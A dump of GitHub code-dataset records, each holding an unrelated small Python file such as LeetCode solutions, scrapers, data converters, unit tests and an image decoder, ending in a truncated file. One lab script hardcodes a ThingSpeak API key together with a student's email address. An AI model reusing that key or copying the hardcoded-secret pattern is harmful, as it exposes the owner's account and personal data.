+{"seq_id":"22658971185","text":"class Solution:\n    def rob(self, nums: List[int]) -> int:\n        \n        \n        def getans(n, nums, dp):\n            if n==0:\n                return nums[n]\n            if n<0:\n                return 0\n            if dp[n]!=-1:\n                return dp[n]\n            take = nums[n]+getans(n-2, nums, dp)\n            nottake = 0 + getans(n-1, nums, dp)\n            \n            dp[n] = max(take, nottake)\n            return dp[n]        \n        \n        \n        if len(nums)==1:\n            return nums[0]\n        dp=[-1]*len(nums)\n        getans(len(nums)-1, nums, dp)\n        return dp[len(nums)-1]\n        ","repo_name":"harssh1029/Leetcode","sub_path":"198-house-robber/198-house-robber.py","file_name":"198-house-robber.py","file_ext":"py","file_size_in_byte":617,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"15402841286","text":"import yaml\n\n\ndef load_yaml(path: str) -> list:\n    with open(path, encoding='utf-8') as file:\n        return yaml.safe_load(file)\n\n\n\n\nif __name__ == '__main__':\n    d = load_yaml('data/data.yaml')\n    print(d)","repo_name":"RicarTang/locust_fastapi","sub_path":"utils/loadfile_util.py","file_name":"loadfile_util.py","file_ext":"py","file_size_in_byte":210,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"930496027","text":"import urllib\nimport requests\nimport threading\nimport json\n\nimport random\n\n# Lab 4 Programming Task\n\n# Modified From Lab 2 Part 3\n\n\n# Define a function that will post on server every 15 Seconds\n\ndef thingspeak_post():\n    projectGroup = \"L1-F-2\";\n    memberIdentifier = \"b\";\n    cmailAddress = \"jackharold@cmail.carleton.ca\";\n    \n    URl='https://api.thingspeak.com/update?api_key='\n    KEY='7481QW0APO2BO2BU'\n    HEADER='&field1={}&field2={}&field3={}'.format(projectGroup, memberIdentifier, cmailAddress)\n    NEW_URL=URl+KEY+HEADER\n    print(NEW_URL)\n    data=urllib.request.urlopen(NEW_URL)\n    print(data)\n\n\nif __name__ == '__main__': \n   thingspeak_post()\n \n\n","repo_name":"jackharold/SYSC3010_jack_harold","sub_path":"Lab-4/lab4.py","file_name":"lab4.py","file_ext":"py","file_size_in_byte":665,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"73685770346","text":"import json\nimport os\n\nDATAFILE = os.path.abspath(os.path.join(os.path.dirname(__file__), 'games.json'))\nOUTPUT = os.path.abspath(os.path.join(os.path.dirname(__file__), 'relabeled.json'))\n\nwith open(DATAFILE, 'r') as f:\n    input_json = json.load(f)\n\ndef relabel_log(log_item, first_proposer, num_players):\n    new_log = {}\n\n    for key in log_item:\n        if key in set(['1', '2', '3', '4', '5']):\n            new_log[key] = {\n                'proposer': (2*num_players + log_item[key]['proposer'] - first_proposer) % num_players,\n                'votes': log_item[key]['votes'][first_proposer:] + log_item[key]['votes'][:first_proposer],\n                'team': [\n                    (2*num_players + player - first_proposer) % num_players\n                    for player in log_item[key]['team']\n                ]\n            }\n        elif key == 'mission':\n            new_log[key] = log_item[key]\n        elif key in ['findMerlin', 'ladyOfTheLake']:\n            new_log[key] = { k: (2*num_players + p - first_proposer) % num_players for k, p in log_item[key].items() }\n        else:\n            assert False, key\n    return new_log\n\n\ndef relabel_players(game):\n    num_players = len(game['players'])\n    first_proposer = (game['roles']['leader'] + 1) % num_players\n    if first_proposer == 0:\n        return game\n\n    output_game = {\n        'end': game['end'],\n        'log': [],\n        'roles': {},\n        'players': [],\n        'start': game['start'],\n        'spies_win': game['spies_win'],\n        'id': game['id']\n    }\n\n    for role, person in game['roles'].items():\n        output_game['roles'][role] = (2*num_players + person - first_proposer) % num_players\n\n    for player in game['players']:\n        output_game['players'].append({\n            'player_id': player['player_id'],\n            'spy': player['spy'],\n            'seat': (2*num_players + player['seat'] - first_proposer) % num_players\n        })\n    output_game['players'].sort(key=lambda p: p['seat'])\n    output_game['log'] = [ relabel_log(log_item, first_proposer, num_players) for log_item in game['log'] ]\n    return output_game\n\n\noutput_json = [ relabel_players(game) for game in input_json ]\n\nwith open(OUTPUT, 'w') as f:\n    json.dump(output_json, f, indent=2, sort_keys=True)\n","repo_name":"Detry322/DeepRole","sub_path":"battlefield/battlefield/bots/data/relabel.py","file_name":"relabel.py","file_ext":"py","file_size_in_byte":2266,"program_lang":"python","lang":"en","doc_type":"code","stars":33,"dataset":"github-code","pt":"37"}
+{"seq_id":"8206058392","text":"# define Node class, etc.\r\nclass Node(object):\r\n    def __init__(self, val = None, both = None):\r\n        self.val = val\r\n        self.both = both\r\n\r\n# define XOR linked list\r\nclass XOR_List(object):\r\n    def __init__(self, Node = None):\r\n        self.head = Node(0, 0)\r\n        self.tail = Node(0, 0)\r\n        self.length = 0\r\n\r\n    def add(self, element):\r\n        if length == 0:\r\n            self.head.both = 0 ^ get_pointer(element)\r\n            self.tail.both = get_pointer(element) ^ 0\r\n            element.both = get_pointer(self.head) ^ get_pointer(self.tail)\r\n\r\n        else:\r\n            prev = dereference_pointer(self.tail.both)\r\n            prev_prev_addr = prev.both ^ get_pointer(self.tail)\r\n            prev.both = prev_prev_addr ^ get_pointer(element)\r\n            element.both = get_pointer(prev) ^ get_pointer(self.tail.both)\r\n            self.tail.both = get_pointer(element) ^ 0\r\n\r\n        length += 1\r\n\r\n    def get(self, index):\r\n        if index >= length:\r\n            raise ValueError('Invalid Index!')\r\n\r\n        else:\r\n                ptr = self.head.both\r\n                prev_addr = get_pointer(self.head)\r\n\r\n                while index > 0:\r\n                    node = dereference_pointer(ptr)\r\n                    ptr = node.both ^ prev_addr\r\n                    prev_addr = ptr\r\n                    index -= 1\r\n\r\n                if index == 0:\r\n                    return dereference_pointer(ptr)\r\n\r\n\r\ndef main():\r\n    pass\r\n\r\n\r\nif __name__ == '__main__':\r\n    main()","repo_name":"cgrant093/DCP","sub_path":"Days 1-10/20190525/DCP20190525.py","file_name":"DCP20190525.py","file_ext":"py","file_size_in_byte":1501,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"26250901198","text":"import os\n\nimport numpy as np\nimport pandas as pd\n\n# Save tests in csvs\nsrc_dir = r'datasets/braatz_original'\ndst_dir = r'datasets/braatz_anomaly_detection/test/'\ncols = [f'XMEAS({i})' for i in range(1, 42)] + \\\n    [f'XMV({i})' for i in range(1, 12)]\nfault_start = 160\nlength = 960\nfault_array = np.zeros(length)\nfor fault in range(22):\n    file = f'd{fault:02}_te'\n    fault_array[fault_start:] = fault\n    fault_df = pd.Series(fault_array, name='label')\n    df = pd.read_csv(os.path.join(src_dir, f'{file}.dat'), delimiter='  ',\n                     names=cols)\n    df = pd.concat([df, fault_df], axis=1)\n    df.to_csv(os.path.join(dst_dir, f'd{fault:02}.csv'), index=False)\n","repo_name":"iraola/te-orig-fortran","sub_path":"arrange_csvs.py","file_name":"arrange_csvs.py","file_ext":"py","file_size_in_byte":678,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"72609700267","text":"#Task 1\n\ndef list_ifname_ip(fin):\n  d = {}\n  keys = []\n  val = []\n  for line in fin:\n    line = line.strip()\n    \n    words = line.split()\n    for i in range(len(words)-1):\n      if(\"nameif\" == words[i]):\n        keys.append(words[i+1])\n      elif(\".\" in words[i]):\n        val.append((words[i],words[i+1]))\n  #print(len(keys))\n  #print(len(val))\n  for i in range(len(keys)):\n    d.update({keys[i] : val[i]})\n  return d\n\nfin = open(\"running-config.cfg\")\ndic = list_ifname_ip(fin)\nprint(dic)\n\n#Task 2\n\nimport re\nfin1 = open(\"running-config.cfg\")\nfout1 = open(\"running-config-copy.cfg\",\"w\")\nip_pattern = re.compile(\"^\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}$\")\n\nfor line in fin1: \n  line = line.replace('192','10')\n  line = line.replace('172','10')\n  line = line.replace('255.255.0.0','255.0.0.0')\n  line = line.replace('255.255.255.0','255.0.0.0')\n  fout1.write(line)\n'''\n  words = line.split()\n  for word in words:\n    if(ip_pattern.match(word)):\n      if(('192' in word) or ('172' in word)):\n        c = word.split('.')\n        c[0] = '10'\n        word = '.'.join(c)\n        line.replace(\"192*\",word)\n        line.replace(\"172*\",word)\n      elif('255' in word):\n        word = '255.0.0.0'\n        line.replace(\"255*\",word)\n'''\n\n\n#Task 3\nfin3 = open(\"running-config.cfg\")\n\ntransit_access_in = []\nfw_management_access_in = []\nglobal_access = []\n\nfor line in fin3:\n  line = line.strip()\n  if(\"transit_access_in\" in line):\n    transit_access_in.append(line)\n  elif(\"fw-management_access_in\" in line):\n    fw_management_access_in.append(line)\n  elif(\"global_access\" in line):\n    global_access.append(line)\n\n\nprint(transit_access_in)\nprint()\nprint(fw_management_access_in)\nprint()\nprint(global_access)\n","repo_name":"inwk6312winter2019/modelopenbook-1-lipi0035","sub_path":"openbook.py","file_name":"openbook.py","file_ext":"py","file_size_in_byte":1692,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"12069183631","text":"### https://programmers.co.kr/learn/courses/30/lessons/60057\n### try 01\n# def cal_codec(s, inter):\n#     i = 0\n#     cnt = 1\n#     n = len(s)\n#     buffer = \"\"\n#     prev_str = \"\"\n#     now_str = \"\"\n#     while i < n:\n#         if i == 0:\n#             prev_str = s[0:inter]\n#             i += inter\n#             continue\n#         if i + inter <= n:\n#             now_str = s[i:i+inter]\n#         else:\n#             now_str = s[i:n]\n        \n#         if prev_str == now_str:\n#             cnt += 1\n#         else:\n#             if cnt > 1:\n#                 buffer += str(cnt) + prev_str\n#                 prev_str = now_str\n#             else:\n#                 buffer += prev_str\n#                 prev_str = now_str\n#             cnt = 1\n#         i += inter\n    \n#     if cnt > 1:\n#         buffer += str(cnt) + prev_str\n#     else:\n#         buffer += prev_str\n    \n#     return len(buffer)\n\n# def solution(s):\n#     n = len(s)\n    \n#     result = n\n#     for i in range(1, n + 1):\n#         tmp = cal_codec(s, i)\n#         if tmp != 0 and tmp < result:\n#             result = tmp\n    \n    \n#     return result\n\n### solution\nfrom bz2 import compress\n\n\ndef solution(s):\n    answer = len(s)\n\n    for step in range(1, len(s) // 2 + 1):\n        compressed = \"\"\n        prev = s[0:step]\n        count = 1\n\n        for j in range(step, len(s), step):\n            if prev == s[j:j + step]:\n                count += 1\n            else:\n                compressed +=str(count) + prev if count >=2 else prev\n                prev = s[j:j+step]\n                count = 1\n        compressed +=str(count) + prev if count >=2 else prev\n        answer = min(answer, len(compressed))\n    \n    return answer","repo_name":"SooonChang/ps-solutions","sub_path":"dongbin_na/Part3/ch12_implementation/q09 문자열 압축.py","file_name":"q09 문자열 압축.py","file_ext":"py","file_size_in_byte":1698,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"}
+{"seq_id":"43500335207","text":"#!/usr/bin/env python3\n\nimport unittest\nfrom graphtheory.structures.edges import Edge\nfrom graphtheory.structures.graphs import Graph\nfrom graphtheory.algorithms.closure import TransitiveClosureSimple\nfrom graphtheory.algorithms.closure import TransitiveClosure\nfrom graphtheory.algorithms.closure import TransitiveClosureBFS\nfrom graphtheory.algorithms.closure import TransitiveClosureDFS\n\n# 0 --> 1 --> 2 --> 3\n\nclass TestTransitiveClosure(unittest.TestCase):\n\n    def setUp(self):\n        self.N = 4           # number of nodes\n        self.G = Graph(self.N, directed=True)\n        self.nodes = range(self.N)\n        self.edges = [Edge(0, 1), Edge(1, 2), Edge(2, 3)]\n        for node in self.nodes:\n            self.G.add_node(node)\n        for edge in self.edges:\n            self.G.add_edge(edge)\n        #self.G.show()\n        self.expected_T = {\n            0: {0: True, 1: True, 2: True, 3: True}, \n            1: {0: False, 1: True, 2: True, 3: True}, \n            2: {0: False, 1: False, 2: True, 3: True}, \n            3: {0: False, 1: False, 2: False, 3: True}}\n\n    def test_closure(self):\n        algorithm = TransitiveClosure(self.G)\n        algorithm.run()\n        self.assertEqual(algorithm.T, self.expected_T)\n\n    def test_closure_simple(self):\n        algorithm = TransitiveClosureSimple(self.G)\n        algorithm.run()\n        self.assertEqual(algorithm.T, self.expected_T)\n\n    def test_closure_bfs(self):\n        algorithm = TransitiveClosureBFS(self.G)\n        algorithm.run()\n        self.assertEqual(algorithm.T, self.expected_T)\n\n    def test_closure_dfs(self):\n        algorithm = TransitiveClosureDFS(self.G)\n        algorithm.run()\n        self.assertEqual(algorithm.T, self.expected_T)\n\n    def tearDown(self): pass\n\nif __name__ == \"__main__\":\n\n    unittest.main()\n\n# EOF\n","repo_name":"ufkapano/graphtheory","sub_path":"graphtheory/algorithms/tests/test_closure.py","file_name":"test_closure.py","file_ext":"py","file_size_in_byte":1803,"program_lang":"python","lang":"en","doc_type":"code","stars":42,"dataset":"github-code","pt":"37"}
+{"seq_id":"35335361996","text":"import datetime\r\nimport pymongo\r\nimport requests\r\nimport unicodedata\r\nfrom bs4 import BeautifulSoup\r\nfrom time import sleep\r\nfrom selenium.common.exceptions import TimeoutException\r\nfrom pymongo import MongoClient\r\nfrom selenium import webdriver\r\nfrom selenium.webdriver.chrome.service import Service\r\nimport lxml\r\n\r\n\r\ndata = []\r\n# Create the client\r\nclient = MongoClient('localhost', 27017)\r\n# Connect to our database\r\ndb = client['cldb']\r\n# Fetch our news collection\r\nnews_collection = db['news']\r\n\r\ndef insert_document(collection, data):\r\n    \"\"\" Function to insert a document into a collection and\r\n    return the document's id.\r\n    \"\"\"\r\n    return collection.insert_one(data).inserted_id\r\n\r\nmethod = 2\r\ns = Service('C:\\\\Users\\\\anmal\\\\Downloads\\\\chromedriver_win32\\\\chromedriver')\r\ndriver = webdriver.Chrome(service=s)\r\nif method == 2:\r\n    for i in range(0, 8):\r\n        startID = 102040\r\n        link1 = \"https://v102.ru/news/\" + str(int(startID) - i) + \".html\"\r\n        driver.get(link1)\r\n        soup2 = BeautifulSoup(driver.page_source, 'lxml')\r\n        title = soup2.find('div', class_='row new-content').text.replace(\"\\n\", \"\")\r\n\r\n        substring = \"Новости компаний\"\r\n        substring1 = \"Реклама\"\r\n        flag = 0\r\n        date1 = soup2.find('div', class_='row attrs').find('div', class_='col-lg-6 col-md-6 padding4').find('span',\r\n                                                                                                            class_='date-new').text.replace(\r\n            \"\\n\", \"\")\r\n        if substring in date1:\r\n            flag = 1\r\n        if substring1 in date1:\r\n            flag = 1\r\n        if flag == 0:\r\n            date_obj = datetime.datetime.strptime(date1, \"%d.%m.%Y %H:%M \")\r\n            date = date_obj.strftime('%Y-%m-%d %H:%M')\r\n\r\n        # print('Date:', date.date())\r\n        # print('Time:', date.time())\r\n\r\n        number_comments = soup2.find('span', class_='attr-comment').text\r\n\r\n        text1 = soup2.find('div', class_='n-text')\r\n        if text1 is not None:\r\n            text1 = soup2.find('div', class_='n-text').text.replace(\"\\n\", \"\\xa0\")\r\n            clean_text = unicodedata.normalize(\"NFKD\", text1)\r\n        else:\r\n            flag = 1\r\n\r\n        # data.append([link, title, date, number_comments, clean_text])\r\n        if flag == 0:\r\n            new_news = {\r\n                \"link\": link1,\r\n                \"title\": title,\r\n                \"date\": date_obj,\r\n                \"number_comments\": number_comments,\r\n                \"text\": clean_text\r\n            }\r\n            insert_document(news_collection, new_news)\r\n            print(i)\r\n\r\n\r\nif method == 1:\r\n    for p in range(473, 477):\r\n        print(p)\r\n        url = f\"https://v102.ru/center_line_dorabotka_ajax.php?page={p}\"\r\n        r = requests.get(url)\r\n        soup = BeautifulSoup(r.text, 'lxml')\r\n        sleep(2)\r\n        news = soup.findAll('div', class_='new-article')\r\n\r\n        for n in news:\r\n            link = \"https://v102.ru\" + n.find('a', class_='detail-link').get('href')\r\n            #link = \"https://v102.ru/news/113126.html\"\r\n            driver.get(link)\r\n            soup2 = BeautifulSoup(driver.page_source, 'lxml')\r\n            title = soup2.find('div', class_='row new-content').text.replace(\"\\n\", \"\")\r\n\r\n            substring = \"Новости компаний\"\r\n            substring1 = \"Реклама\"\r\n            flag = 0\r\n            date1 = soup2.find('div', class_='row attrs').find('div', class_='col-lg-6 col-md-6 padding4').find('span', class_='date-new').text.replace(\"\\n\", \"\")\r\n            if substring in date1:\r\n                flag = 1\r\n            if substring1 in date1:\r\n                flag = 1\r\n            if flag == 0:\r\n                date_obj = datetime.datetime.strptime(date1, \"%d.%m.%Y %H:%M \")\r\n                date = date_obj.strftime('%Y-%m-%d %H:%M')\r\n\r\n            #print('Date:', date.date())\r\n            #print('Time:', date.time())\r\n\r\n            number_comments = soup2.find('span', class_='attr-comment').text\r\n            text1 = soup2.find('div', class_='n-text')\r\n            if text1 is not None:\r\n                text1 = soup2.find('div', class_='n-text').text.replace(\"\\n\", \"\\xa0\")\r\n                clean_text = unicodedata.normalize(\"NFKD\", text1)\r\n            else:\r\n                flag = 1\r\n            #data.append([link, title, date, number_comments, clean_text])\r\n            if flag == 0:\r\n                new_news = {\r\n                    \"link\": link,\r\n                    \"title\": title,\r\n                    \"date\": date_obj,\r\n                    \"number_comments\": number_comments,\r\n                    \"text\": clean_text\r\n                }\r\n                insert_document(news_collection, new_news)\r\n\r\n\r\n","repo_name":"anmalk/comp_ling","sub_path":"parser.py","file_name":"parser.py","file_ext":"py","file_size_in_byte":4739,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"37"}
+{"seq_id":"17853638484","text":"\nimport sys\nsys.stdin = open('input.txt')\n\nT = int(input())\n\nfor tc in range(1, T+1):\n    # binary_to_decimal = int(input(), 2)\n    # ternary_to_decimal = int(input(), 3)\n    binary = list(map(int, input()))\n    ternary = list(map(int, input()))\n    # print(binary)\n    # print(ternary)\n    # print(binary_to_decimal)\n    # print(ternary_to_decimal)\n    # binary_list = []\n    # for i in range(len(binary)):\n    \n\n\n\n\n    print('#{} {} {}'.format(tc, binary, ternary))","repo_name":"Dorororodong/Algorithm","sub_path":"SWEA/D4/4366.py","file_name":"4366.py","file_ext":"py","file_size_in_byte":467,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"}
+{"seq_id":"71509258349","text":"def solution(picture):\n    output = []  # output list\n    \n    # loop through strings in picture array\n    for string in picture:\n        border = \"*\" + string + \"*\"  # add asterisk (*) to beginning and end of string\n        output.append(border)  # add the modified string to output list\n\n    output.insert(0, \"*\" * len(output[0]))  # insert only asterisk (*) string to the beginning of the output array \n    output.append(\"*\" * len(output[0]))  # append only asterisk (*) string to the end of the output array\n\n    return output\n\n#picture = [\"abc\", \"ded\"]\n#print(solution(picture))\n","repo_name":"bunyodabdusaidov/CodeSignal","sub_path":"Intro/4. Exploring the Waters/addBorder.py","file_name":"addBorder.py","file_ext":"py","file_size_in_byte":584,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"37"}
+{"seq_id":"30721422959","text":"# Approach 1\n# Using the DFS method for topological sort is the easiest\n# O(N+E), O(N)\nclass Solution:\n    def dfs(self, node, vis, stack, adjList):\n        vis[node] = 1\n        for nei in adjList[node]:\n            if vis[nei] != 1:\n                self.dfs(nei, vis, stack, adjList)\n        stack.append(node)\n\n\n    def topoSort(self, V, adjList):\n        vis = [0 for _ in range(V)]\n        stack, res = list(), list()\n\n        for i in range(V):\n            if vis[i] != 1:\n                self.dfs(i, vis, stack, adjList)\n\n        while stack:\n            res.append(stack.pop())\n        return res","repo_name":"nikhiljsk/Strivers_SDE_Sheet","sub_path":"23_Graph/23.9_Topological_sort_dfs.py","file_name":"23.9_Topological_sort_dfs.py","file_ext":"py","file_size_in_byte":604,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"37"}
+{"seq_id":"14954867583","text":"from x9500_decoder_lib import decode as xdecode\r\nfrom PIL import Image\r\nimport sys\r\nimport struct\r\nimport png_chunks\r\nfrom io import BytesIO\r\n\r\ndef rgb565toi24(data):\r\n    from io import BytesIO\r\n    offset = 0\r\n    outp = BytesIO()\r\n    while offset<len(data):\r\n        inp = struct.unpack(\"<H\", data[offset:offset+2])[0]\r\n        rgb = (((inp & 0xF800) >> 8), ((inp & 0x07E0) >> 3), ((inp & 0x001F) << 3))\r\n        outp.write(struct.pack(\"<BBB\", *rgb))\r\n        offset += 2\r\n    return outp.getvalue()\r\n\r\ndef get_trans_value(data, transp):\r\n    offset = 0\r\n    mat = []\r\n\r\n    while offset<len(data):\r\n        if data[offset:offset+3] == transp:\r\n            mat.append(0)\r\n        else:\r\n            mat.append(255)\r\n\r\n        offset += 3\r\n    \r\n    return mat\r\n\r\nif __name__ == \"__main__\":\r\n    fd = open(sys.argv[1], \"rb\")        \r\n    \r\n    fd.seek(int(sys.argv[2], 16))\r\n\r\n    for c in range(int(sys.argv[3])):\r\n        transparent = False\r\n        transp_pixel = b\"\\xf8\\0\\xf8\"\r\n\r\n        width = fd.read(1)[0]\r\n        if width <= 0: break\r\n        height = fd.read(1)[0]\r\n        if height <= 0: break\r\n        bpp = struct.unpack(\"<H\", fd.read(2))[0]\r\n        if bpp not in [8,16]: break\r\n\r\n        offset = struct.unpack(\"<L\", fd.read(4))[0]\r\n\r\n        if offset == 0xf81f: # Transparency?\r\n            transparent = True\r\n            offset = struct.unpack(\"<L\", fd.read(4))[0]\r\n            #print(offset)\r\n\r\n        palette_offset = struct.unpack(\"<L\", fd.read(4))[0]\r\n        img_type = struct.unpack(\"<L\", fd.read(4))[0]\r\n\r\n        prev_offset = fd.tell()\r\n        palette_data = b\"\"\r\n\r\n        if bpp == 8:\r\n            fd.seek(palette_offset)\r\n            palette_data = rgb565toi24(fd.read(0x200))\r\n        \r\n        fd.seek(offset)\r\n        \r\n        dec_data = None\r\n\r\n        if img_type == 1:\r\n            stride = int(sys.argv[4]) if len(sys.argv) >= 5 and int(sys.argv[4]) >= 0 else (2 if (width%8) == 0 else 1) if bpp == 8 else 4\r\n            edge_mode = int(sys.argv[5]) if len(sys.argv) >= 6 and int(sys.argv[5]) >= 0 else 2\r\n\r\n            dec_data = xdecode(fd, width, height, 3 if bpp == 8 else 1, int(bpp/8), stride, edge_mode=edge_mode)   \r\n        else:\r\n            dec_data = fd.read((width*height)*int(bpp/8))\r\n                     \r\n        #print(len(dec_data))                     \r\n        #open(\"dec_tmp\", \"wb\").write(dec_data)\r\n\r\n        if bpp == 16:\r\n            dec_i = Image.frombytes(\"RGB\", (width, height), bytes(dec_data),\"raw\", \"BGR;16\", 0, 1)\r\n            i_buffer = BytesIO()\r\n            buffer = BytesIO(b\"\\x89\\x50\\x4E\\x47\\x0D\\x0A\\x1A\\x0A\")\r\n            buffer.seek(8)\r\n\r\n            dec_i.save(i_buffer, format=\"png\")\r\n            i_buffer.seek(8)\r\n\r\n            while True:\r\n                c_name, c_data = png_chunks.read_png_packet(i_buffer)\r\n\r\n                if c_name == \"IDAT\":                    \r\n                    buffer.write(png_chunks.write_itxt_packet(\"Decoder\", \"cdmatools - designed for ROMPhonix server (https://discord.gg/2GKuJjQagp)\"))\r\n\r\n                buffer.write(png_chunks.write_png_packet(c_name, c_data))\r\n                                \r\n                if c_name == \"IEND\":\r\n                    break\r\n\r\n            while True:\r\n                try:\r\n                    open(f\"IMG_{offset}_{c+1}.png\", \"wb\").write(buffer.getvalue())\r\n                    break\r\n                except OSError as e:\r\n                    if e.errno != 22:\r\n                        raise\r\n        elif bpp == 8:\r\n            dec_i = Image.frombytes(\"P\", (width, height), bytes(dec_data))\r\n            dec_i.putpalette(palette_data)\r\n            i_buffer = BytesIO()\r\n            buffer = BytesIO(b\"\\x89\\x50\\x4E\\x47\\x0D\\x0A\\x1A\\x0A\")\r\n            buffer.seek(8)\r\n\r\n            dec_i.save(i_buffer, format=\"png\")\r\n            i_buffer.seek(8)\r\n\r\n            while True:\r\n                c_name, c_data = png_chunks.read_png_packet(i_buffer)\r\n                buffer.write(png_chunks.write_png_packet(c_name, c_data))\r\n                \r\n                if c_name == \"PLTE\":\r\n                    if transparent:\r\n                        buffer.write(png_chunks.write_png_packet(\"tRNS\", bytes(get_trans_value(palette_data, transp_pixel))))\r\n                    buffer.write(png_chunks.write_itxt_packet(\"Decoder\", \"cdmatools - designed for ROMPhonix server (https://discord.gg/2GKuJjQagp)\"))\r\n\r\n                if c_name == \"IEND\":\r\n                    break\r\n\r\n            while True:\r\n                try:\r\n                    open(f\"IMG_{offset}_{c+1}.png\", \"wb\").write(buffer.getvalue())\r\n                    break\r\n                except OSError as e:\r\n                    if e.errno != 22:\r\n                        raise\r\n\r\n        fd.seek(prev_offset)","repo_name":"Crawlerop/cdmatools","sub_path":"s1000_tbl.py","file_name":"s1000_tbl.py","file_ext":"py","file_size_in_byte":4720,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"37"}
+{"seq_id":"39778779383","text":"import statistics\nimport math\nimport unittest\n\n\nclass TestStatistics(unittest.TestCase):\n    def test_mean(self):\n        numbers = [5,5,5,5,5]\n\n        expected_result = 5.0\n        result = statistics.mean(numbers)\n\n        self.assertEqual(result, expected_result)\n\n    def test_median_with_odd_length(self):\n        numbers = [1,2,3,4,5]\n\n        expected_result = 3\n        result = statistics.median(numbers)\n        self.assertEqual(result, expected_result)\n\n\n    def test_median_with_even_length(self):\n        numbers = [1,2,3,4,5,6]\n\n        expected_result = 3.5\n        result = statistics.median(numbers)\n\n        self.assertEqual(result, expected_result)\n\n    def test_quantile(self):\n        numbers = [20, 19, 18, 17, 16, 15, 14, 13, 12, 11, 10]\n\n        self.assertEqual(statistics.quantile(numbers, 0.1), 11)\n        self.assertEqual(statistics.quantile(numbers, 0.3), 13)\n        self.assertEqual(statistics.quantile(numbers, 0.5), 15)\n        self.assertEqual(statistics.quantile(numbers, 0.8), 18)\n\n    def test_mode(self):\n        numbers = [20, 20, 20, 17, 17, 17, 15, 14, 13, 12, 11, 10]\n\n        result = statistics.mode(numbers)\n        expected_result = [17, 20]\n\n        self.assertEqual(result, expected_result)\n\n    def test_de_mean(self):\n        numbers = [5,5,5,5,5]\n\n        expected_result = [0.0, 0.0, 0.0, 0.0, 0.0]\n        result = statistics.de_mean(numbers)\n\n        self.assertEqual(result, expected_result)\n\n    def test_variance(self):\n        numbers = [3,4,6,5,7]\n\n        expected_variance = 2.5\n        variance = statistics.variance(numbers)\n\n        self.assertEqual(variance, expected_variance)\n\n\n    def test_standard_deviation(self):\n        numbers = [5,4,6,5,7, 5,6]\n        expected_deviation = 0.976\n\n        deviation = statistics.standard_deviation(numbers)\n        deviation = round(deviation, 3)\n\n        self.assertEqual(deviation, expected_deviation)\n\n    def test_interquartile_range(self):\n        numbers = [6,6,6,6,6,6,6,1,1,5,5,5,6,5]\n        expected_interquartile = 1\n\n        interquartile = statistics.interquartile_range(numbers)\n\n        self.assertEqual(interquartile, expected_interquartile)\n\n    def test_covariance(self):\n\n        x = [50, 40, 20, 10]\n        y = [25, 20, 10, 5]\n        covariance = statistics.covariance(x, y)\n        covariance = round(covariance, 2)\n\n        expected_covariance = 166.67\n        self.assertEqual(covariance, expected_covariance)\n\n    def test_correlation(self):\n\n        x = [50, 40, 20, 10]\n        y = [25, 20, 10, 5]\n        correlation = statistics.correlation(x, y)\n\n        expected_correlation = 1.0\n\n        self.assertEqual(correlation, expected_correlation)\n\n\n\n\nif __name__ == \"__main__\": unittest.main()\n","repo_name":"wkudaka/python-estudos","sub_path":"test-statistics.py","file_name":"test-statistics.py","file_ext":"py","file_size_in_byte":2730,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"71366345069","text":"import requests\nfrom bs4 import BeautifulSoup\n\nurl = \"http://www.todayhumor.co.kr/board/list.php?table=humorbest\"\nres = requests.get(url)\nres.raise_for_status()\n\n\nsoup = BeautifulSoup(res.text, \"lxml\")\n#print(soup.title)\n#print(soup.title.get_text())\n#print(soup.a) #soup 객체에서 처음 바견되는 a element 출력\n#print(soup.a.attrs) # a element 의 속성 정보를 출력\n#print(soup.a[\"href\"]) # a element 의 href 속성 '값' 정보를 출력\n\n#print(soup.find(\"td > a\", attrs={\"class\" : \"subject\"})) #클래스가 subject인 element를 찾아줘\n\n#print(soup.find(\"td\", attrs={\"class\" : \"subject\"}))\n#rank1 = soup.find(\"tr\", attrs={\"class\" : \"view list_tr_humordata\"})\n#print(rank1.get_text())\n\nhumor = soup.find(\"a\", text = \"놀이공원에 놀러간 전투기 조종사\")\nprint(humor)","repo_name":"LimYounKeun/open","sub_path":"webscraping_basic/6_bj4.py","file_name":"6_bj4.py","file_ext":"py","file_size_in_byte":801,"program_lang":"python","lang":"ko","doc_type":"code","stars":2,"dataset":"github-code","pt":"37"}
+{"seq_id":"13032364872","text":"import numpy as np\n\nfrom netCDF.NetCDF import NetCDF\nfrom ML.Other.Abstract import SKLearn\nfrom ML.Other.HeavyRainCases import Indexes\nfrom Module.Draw import Draw\nfrom Module.Array import Array\nfrom Module.Calculation import Calculation as MathCalculation\n\nclass MLNetCDF(SKLearn):\n    \"\"\"\n    Class to predict rain_Ra from rain_MSM and components from Principal Component Analysis, using netCDF.\n\n    self.used_component: how much components you use\n    self.predicted_time_step: t tstep you wanna predict. from 0 to 248\n    \"\"\"\n    def __init__(self) -> None:\n        super().__init__()\n        self.model = self.loadModel(\n            '{}/var/MLModels/v2/SDGRegressor_PCA_Rain.sav'.format(self.root_path)\n        )\n        self.save_path = '/home/jjthomson/fdrive/images/predict/PCA/predictedRain20200703_0300JST_Rain01.png'\n        self.region = [22, 48, 120, 150]\n        self.nc_rains = NetCDF('/home/jjthomson/fdrive/rains.nc')\n        self.nc_pca = NetCDF('/home/jjthomson/fdrive/nc/PCA/pca.nc')\n        self.rain_MSMs = self.nc_rains.variables['rain_MSMs']\n        self.rain_Ra = self.nc_rains.variables['rain_Ra']\n        self.used_component 